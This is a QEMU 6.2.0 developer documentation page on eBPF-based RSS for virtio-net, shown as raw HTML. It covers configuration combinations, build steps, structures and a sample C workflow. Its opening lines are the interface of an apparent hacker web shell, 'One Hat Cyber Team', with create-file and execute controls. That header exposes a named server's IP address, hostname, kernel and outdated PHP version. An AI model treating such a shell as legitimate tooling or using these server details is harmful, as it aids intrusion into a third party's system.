One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
qemu-kvm
/
devel
/
View File Name :
ebpf_rss.html
<!DOCTYPE html> <!--[if IE 8]><html class="no-js lt-ie9" lang="en" > <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en" > <!--<![endif]--> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>eBPF RSS virtio-net support — QEMU qemu-kvm-6.2.0-53.module+el8.10.0+2055+8eb7870b.4 documentation</title> <link rel="shortcut icon" href="../_static/qemu_32x32.png"/> <link rel="stylesheet" href="../_static/css/theme.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="next" title="VFIO device Migration" href="vfio-migration.html" /> <link rel="prev" title="Multi-process QEMU" href="multi-process.html" /> <script src="../_static/js/modernizr.min.js"></script> </head> <body class="wy-body-for-nav"> <div class="wy-grid-for-nav"> <nav data-toggle="wy-nav-shift" class="wy-nav-side"> <div class="wy-side-scroll"> <div class="wy-side-nav-search"> <a href="../index.html" class="icon icon-home"> QEMU <img src="../_static/qemu_128x128.png" class="logo" alt="Logo"/> </a> <div class="version"> 6.2.0 </div> <div role="search"> <form id="rtd-search-form" class="wy-form" action="../search.html" method="get"> <input type="text" name="q" placeholder="Search docs" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> </div> <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation"> <p class="caption"><span class="caption-text">Contents:</span></p> <ul class="current"> <li class="toctree-l1"><a class="reference internal" href="../about/index.html">About QEMU</a></li> <li class="toctree-l1"><a class="reference internal" href="../system/index.html">System Emulation</a></li> <li class="toctree-l1"><a class="reference internal" href="../user/index.html">User Mode Emulation</a></li> <li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Tools</a></li> <li class="toctree-l1"><a class="reference internal" href="../interop/index.html">System Emulation Management and Interoperability</a></li> <li class="toctree-l1"><a class="reference internal" href="../specs/index.html">System Emulation Guest Hardware Specifications</a></li> <li class="toctree-l1 current"><a class="reference internal" href="index.html">Developer Information</a><ul class="current"> <li class="toctree-l2"><a class="reference internal" href="code-of-conduct.html">Code of Conduct</a></li> <li class="toctree-l2"><a class="reference internal" href="conflict-resolution.html">Conflict Resolution Policy</a></li> <li class="toctree-l2"><a class="reference internal" href="build-system.html">The QEMU build system architecture</a></li> <li class="toctree-l2"><a class="reference internal" href="style.html">QEMU Coding Style</a></li> <li class="toctree-l2"><a class="reference internal" href="kconfig.html">QEMU and Kconfig</a></li> <li class="toctree-l2"><a class="reference internal" href="testing.html">Testing in QEMU</a></li> <li class="toctree-l2"><a class="reference internal" href="fuzzing.html">Fuzzing</a></li> <li class="toctree-l2"><a class="reference internal" href="control-flow-integrity.html">Control-Flow Integrity (CFI)</a></li> <li class="toctree-l2"><a class="reference internal" href="loads-stores.html">Load and Store APIs</a></li> <li class="toctree-l2"><a class="reference internal" href="memory.html">The memory API</a></li> <li class="toctree-l2"><a class="reference internal" href="migration.html">Migration</a></li> <li class="toctree-l2"><a class="reference internal" href="atomics.html">Atomic operations in QEMU</a></li> <li class="toctree-l2"><a class="reference internal" href="stable-process.html">QEMU and the stable process</a></li> <li class="toctree-l2"><a class="reference internal" href="ci.html">CI</a></li> <li class="toctree-l2"><a class="reference internal" href="qtest.html">QTest Device Emulation Testing Framework</a></li> <li class="toctree-l2"><a class="reference internal" href="decodetree.html">Decodetree Specification</a></li> <li class="toctree-l2"><a class="reference internal" href="secure-coding-practices.html">Secure Coding Practices</a></li> <li class="toctree-l2"><a class="reference internal" href="tcg.html">Translator Internals</a></li> <li class="toctree-l2"><a class="reference internal" href="tcg-icount.html">TCG Instruction Counting</a></li> <li class="toctree-l2"><a class="reference internal" href="tracing.html">Tracing</a></li> <li class="toctree-l2"><a class="reference internal" href="multi-thread-tcg.html">Multi-threaded TCG</a></li> <li class="toctree-l2"><a class="reference internal" href="tcg-plugins.html">QEMU TCG Plugins</a></li> <li class="toctree-l2"><a class="reference internal" href="bitops.html">Bitwise operations</a></li> <li class="toctree-l2"><a class="reference internal" href="ui.html">QEMU UI subsystem</a></li> <li class="toctree-l2"><a class="reference internal" href="reset.html">Reset in QEMU: the Resettable interface</a></li> <li class="toctree-l2"><a class="reference internal" href="s390-dasd-ipl.html">Booting from real channel-attached devices on s390x</a></li> <li class="toctree-l2"><a class="reference internal" href="clocks.html">Modelling a clock tree in QEMU</a></li> <li class="toctree-l2"><a class="reference internal" href="qom.html">The QEMU Object Model (QOM)</a></li> <li class="toctree-l2"><a class="reference internal" href="modules.html">QEMU modules</a></li> <li class="toctree-l2"><a class="reference internal" href="block-coroutine-wrapper.html">block-coroutine-wrapper</a></li> <li class="toctree-l2"><a class="reference internal" href="multi-process.html">Multi-process QEMU</a></li> <li class="toctree-l2 current"><a class="current reference internal" href="#">eBPF RSS virtio-net support</a><ul> <li class="toctree-l3"><a class="reference internal" href="#rss-ebpf-program">RSS eBPF program</a></li> <li class="toctree-l3"><a class="reference internal" href="#ebpf-rss-implementation">eBPF RSS implementation</a><ul> <li class="toctree-l4"><a class="reference internal" href="#netclientstate-setsteeringebpf">NetClientState SetSteeringEBPF()</a></li> </ul> </li> </ul> </li> <li class="toctree-l2"><a class="reference internal" href="vfio-migration.html">VFIO device Migration</a></li> <li class="toctree-l2"><a class="reference internal" href="qapi-code-gen.html">How to use the QAPI code generator</a></li> <li class="toctree-l2"><a class="reference internal" href="writing-monitor-commands.html">How to write monitor commands</a></li> <li class="toctree-l2"><a class="reference internal" href="trivial-patches.html">Trivial Patches</a></li> <li class="toctree-l2"><a class="reference internal" href="submitting-a-patch.html">Submitting a Patch</a></li> <li class="toctree-l2"><a class="reference internal" href="submitting-a-pull-request.html">Submitting a Pull Request</a></li> </ul> </li> </ul> </div> </div> </nav> <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap"> <nav class="wy-nav-top" aria-label="top navigation"> <i data-toggle="wy-nav-top" class="fa fa-bars"></i> <a href="../index.html">QEMU</a> </nav> <div class="wy-nav-content"> <div class="rst-content"> <div role="navigation" aria-label="breadcrumbs navigation"> <ul class="wy-breadcrumbs"> <li><a href="../index.html">Docs</a> »</li> <li><a href="index.html">Developer Information</a> »</li> <li>eBPF RSS virtio-net support</li> <li class="wy-breadcrumbs-aside"> <a href="https://gitlab.com/qemu-project/qemu/blob/master/docs/devel/ebpf_rss.rst" class="fa fa-gitlab"> Edit on GitLab</a> </li> </ul> <hr/> </div> <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article"> <div itemprop="articleBody"> <div class="section" id="ebpf-rss-virtio-net-support"> <h1>eBPF RSS virtio-net support<a class="headerlink" href="#ebpf-rss-virtio-net-support" title="Permalink to this headline">¶</a></h1> <p>RSS(Receive Side Scaling) is used to distribute network packets to guest virtqueues by calculating packet hash. Usually every queue is processed then by a specific guest CPU core.</p> <p>For now there are 2 RSS implementations in qemu: - ‘in-qemu’ RSS (functions if qemu receives network packets, i.e. vhost=off) - eBPF RSS (can function with also with vhost=on)</p> <p>eBPF support (CONFIG_EBPF) is enabled by ‘configure’ script. To enable eBPF RSS support use ‘./configure –enable-bpf’.</p> <p>If steering BPF is not set for kernel’s TUN module, the TUN uses automatic selection of rx virtqueue based on lookup table built according to calculated symmetric hash of transmitted packets. If steering BPF is set for TUN the BPF code calculates the hash of packet header and returns the virtqueue number to place the packet to.</p> <p>Simplified decision formula:</p> <div class="code C highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">queue_index</span> <span class="o">=</span> <span class="n">indirection_table</span><span class="p">[</span><span class="nb">hash</span><span class="p">(</span><span class="o"><</span><span class="n">packet</span> <span class="n">data</span><span class="o">></span><span class="p">)</span><span class="o">%<</span><span class="n">indirection_table</span> <span class="n">size</span><span class="o">></span><span class="p">]</span> </pre></div> </div> <p>Not for all packets, the hash can/should be calculated.</p> <p>Note: currently, eBPF RSS does not support hash reporting.</p> <p>eBPF RSS turned on by different combinations of vhost-net, vitrio-net and tap configurations:</p> <ul> <li><p class="first">eBPF is used:</p> <blockquote> <div><p>tap,vhost=off & virtio-net-pci,rss=on,hash=off</p> </div></blockquote> </li> <li><p class="first">eBPF is used:</p> <blockquote> <div><p>tap,vhost=on & virtio-net-pci,rss=on,hash=off</p> </div></blockquote> </li> <li><p class="first">‘in-qemu’ RSS is used:</p> <blockquote> <div><p>tap,vhost=off & virtio-net-pci,rss=on,hash=on</p> </div></blockquote> </li> <li><p class="first">eBPF is used, hash population feature is not reported to the guest:</p> <blockquote> <div><p>tap,vhost=on & virtio-net-pci,rss=on,hash=on</p> </div></blockquote> </li> </ul> <p>If CONFIG_EBPF is not set then only ‘in-qemu’ RSS is supported. Also ‘in-qemu’ RSS, as a fallback, is used if the eBPF program failed to load or set to TUN.</p> <div class="section" id="rss-ebpf-program"> <h2>RSS eBPF program<a class="headerlink" href="#rss-ebpf-program" title="Permalink to this headline">¶</a></h2> <p>RSS program located in ebpf/rss.bpf.skeleton.h generated by bpftool. So the program is part of the qemu binary. Initially, the eBPF program was compiled by clang and source code located at tools/ebpf/rss.bpf.c. Prerequisites to recompile the eBPF program (regenerate ebpf/rss.bpf.skeleton.h):</p> <blockquote> <div><p>llvm, clang, kernel source tree, bpftool Adjust Makefile.ebpf to reflect the location of the kernel source tree</p> <p>$ cd tools/ebpf $ make -f Makefile.ebpf</p> </div></blockquote> <p>Current eBPF RSS implementation uses ‘bounded loops’ with ‘backward jump instructions’ which present in the last kernels. Overall eBPF RSS works on kernels 5.8+.</p> </div> <div class="section" id="ebpf-rss-implementation"> <h2>eBPF RSS implementation<a class="headerlink" href="#ebpf-rss-implementation" title="Permalink to this headline">¶</a></h2> <p>eBPF RSS loading functionality located in ebpf/ebpf_rss.c and ebpf/ebpf_rss.h.</p> <p>The <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">EBPFRSSContext</span></code> structure that holds 4 file descriptors:</p> <ul class="simple"> <li>ctx - pointer of the libbpf context.</li> <li>program_fd - file descriptor of the eBPF RSS program.</li> <li>map_configuration - file descriptor of the ‘configuration’ map. This map contains one element of ‘struct EBPFRSSConfig’. This configuration determines eBPF program behavior.</li> <li>map_toeplitz_key - file descriptor of the ‘Toeplitz key’ map. One element of the 40byte key prepared for the hashing algorithm.</li> <li>map_indirections_table - 128 elements of queue indexes.</li> </ul> <p><code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">EBPFRSSConfig</span></code> fields:</p> <ul class="simple"> <li>redirect - “boolean” value, should the hash be calculated, on false - <code class="docutils literal notranslate"><span class="pre">default_queue</span></code> would be used as the final decision.</li> <li>populate_hash - for now, not used. eBPF RSS doesn’t support hash reporting.</li> <li>hash_types - binary mask of different hash types. See <code class="docutils literal notranslate"><span class="pre">VIRTIO_NET_RSS_HASH_TYPE_*</span></code> defines. If for packet hash should not be calculated - <code class="docutils literal notranslate"><span class="pre">default_queue</span></code> would be used.</li> <li>indirections_len - length of the indirections table, maximum 128.</li> <li>default_queue - the queue index that used for packet that shouldn’t be hashed. For some packets, the hash can’t be calculated(g.e ARP).</li> </ul> <p>Functions:</p> <ul class="simple"> <li><code class="docutils literal notranslate"><span class="pre">ebpf_rss_init()</span></code> - sets ctx to NULL, which indicates that EBPFRSSContext is not loaded.</li> <li><code class="docutils literal notranslate"><span class="pre">ebpf_rss_load()</span></code> - creates 3 maps and loads eBPF program from the rss.bpf.skeleton.h. Returns ‘true’ on success. After that, program_fd can be used to set steering for TAP.</li> <li><code class="docutils literal notranslate"><span class="pre">ebpf_rss_set_all()</span></code> - sets values for eBPF maps. <code class="docutils literal notranslate"><span class="pre">indirections_table</span></code> length is in EBPFRSSConfig. <code class="docutils literal notranslate"><span class="pre">toeplitz_key</span></code> is VIRTIO_NET_RSS_MAX_KEY_SIZE aka 40 bytes array.</li> <li><code class="docutils literal notranslate"><span class="pre">ebpf_rss_unload()</span></code> - close all file descriptors and set ctx to NULL.</li> </ul> <p>Simplified eBPF RSS workflow:</p> <div class="code C highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">struct</span> <span class="n">EBPFRSSConfig</span> <span class="n">config</span><span class="p">;</span> <span class="n">config</span><span class="o">.</span><span class="n">redirect</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">config</span><span class="o">.</span><span class="n">hash_types</span> <span class="o">=</span> <span class="n">VIRTIO_NET_RSS_HASH_TYPE_UDPv4</span> <span class="o">|</span> <span class="n">VIRTIO_NET_RSS_HASH_TYPE_TCPv4</span><span class="p">;</span> <span class="n">config</span><span class="o">.</span><span class="n">indirections_len</span> <span class="o">=</span> <span class="n">VIRTIO_NET_RSS_MAX_TABLE_LEN</span><span class="p">;</span> <span class="n">config</span><span class="o">.</span><span class="n">default_queue</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">uint16_t</span> <span class="n">table</span><span class="p">[</span><span class="n">VIRTIO_NET_RSS_MAX_TABLE_LEN</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="o">...</span><span class="p">};</span> <span class="n">uint8_t</span> <span class="n">key</span><span class="p">[</span><span class="n">VIRTIO_NET_RSS_MAX_KEY_SIZE</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="o">...</span><span class="p">};</span> <span class="n">struct</span> <span class="n">EBPFRSSContext</span> <span class="n">ctx</span><span class="p">;</span> <span class="n">ebpf_rss_init</span><span class="p">(</span><span class="o">&</span><span class="n">ctx</span><span class="p">);</span> <span class="n">ebpf_rss_load</span><span class="p">(</span><span class="o">&</span><span class="n">ctx</span><span class="p">);</span> <span class="n">ebpf_rss_set_all</span><span class="p">(</span><span class="o">&</span><span class="n">ctx</span><span class="p">,</span> <span class="o">&</span><span class="n">config</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">key</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">net_client</span><span class="o">-></span><span class="n">info</span><span class="o">-></span><span class="n">set_steering_ebpf</span> <span class="o">!=</span> <span class="n">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="n">net_client</span><span class="o">-></span><span class="n">info</span><span class="o">-></span><span class="n">set_steering_ebpf</span><span class="p">(</span><span class="n">net_client</span><span class="p">,</span> <span class="n">ctx</span><span class="o">-></span><span class="n">program_fd</span><span class="p">);</span> <span class="p">}</span> <span class="o">...</span> <span class="n">ebpf_unload</span><span class="p">(</span><span class="o">&</span><span class="n">ctx</span><span class="p">);</span> </pre></div> </div> <div class="section" id="netclientstate-setsteeringebpf"> <h3>NetClientState SetSteeringEBPF()<a class="headerlink" href="#netclientstate-setsteeringebpf" title="Permalink to this headline">¶</a></h3> <p>For now, <code class="docutils literal notranslate"><span class="pre">set_steering_ebpf()</span></code> method supported by Linux TAP NetClientState. The method requires an eBPF program file descriptor as an argument.</p> </div> </div> </div> </div> </div> <footer> <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation"> <a href="vfio-migration.html" class="btn btn-neutral float-right" title="VFIO device Migration" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right"></span></a> <a href="multi-process.html" class="btn btn-neutral" title="Multi-process QEMU" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left"></span> Previous</a> </div> <hr/> <div role="contentinfo"> <p> © Copyright 2021, The QEMU Project Developers. </p> </div> Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/rtfd/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>. <!-- Empty para to force a blank line after "Built with Sphinx ..." --> <p></p> <p>This documentation is for QEMU version 6.2.0.</p> <p><a href="../about/license.html">QEMU and this manual are released under the GNU General Public License, version 2.</a></p> </footer> </div> </div> </section> </div> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT:'../', VERSION:'qemu-kvm-6.2.0-53.module+el8.10.0+2055+8eb7870b.4', LANGUAGE:'None', COLLAPSE_INDEX:false, FILE_SUFFIX:'.html', HAS_SOURCE: false, SOURCELINK_SUFFIX: '.txt' }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <script type="text/javascript" src="../_static/js/theme.js"></script> <script type="text/javascript"> jQuery(function () { SphinxRtdTheme.Navigation.enable(true); }); </script> </body> </html>